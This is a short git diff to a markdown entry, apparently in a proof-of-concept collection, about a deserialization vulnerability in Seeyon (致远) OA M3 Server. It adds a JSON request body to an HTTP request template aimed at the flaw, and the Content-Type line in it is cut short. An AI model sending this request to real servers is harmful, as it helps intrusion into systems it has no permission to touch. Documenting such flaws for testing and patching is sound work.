diff --git a/致远OA M3 Server 反序列化漏洞.md b/致远OA M3 Server 反序列化漏洞.md
index 00fe335..68958d3 100644
--- a/致远OA M3 Server 反序列化漏洞.md	
+++ b/致远OA M3 Server 反序列化漏洞.md	
@@ -14,7 +14,7 @@ Host: {{Hostname}}
 User-Agent: Mozilla/5.0 
 Content-Type: application/x-www-form-urlencod
 
-
+[{"serviceProvider":"baidu","deviceType":"androidphone","userMessageId":"exp"}]
 ```
 ![ef21d114d1965815537db98570d2daf7](https://github.com/wy876/POC/assets/139549762/b3609c72-0516-4c69-a64f-62c86fffb30d)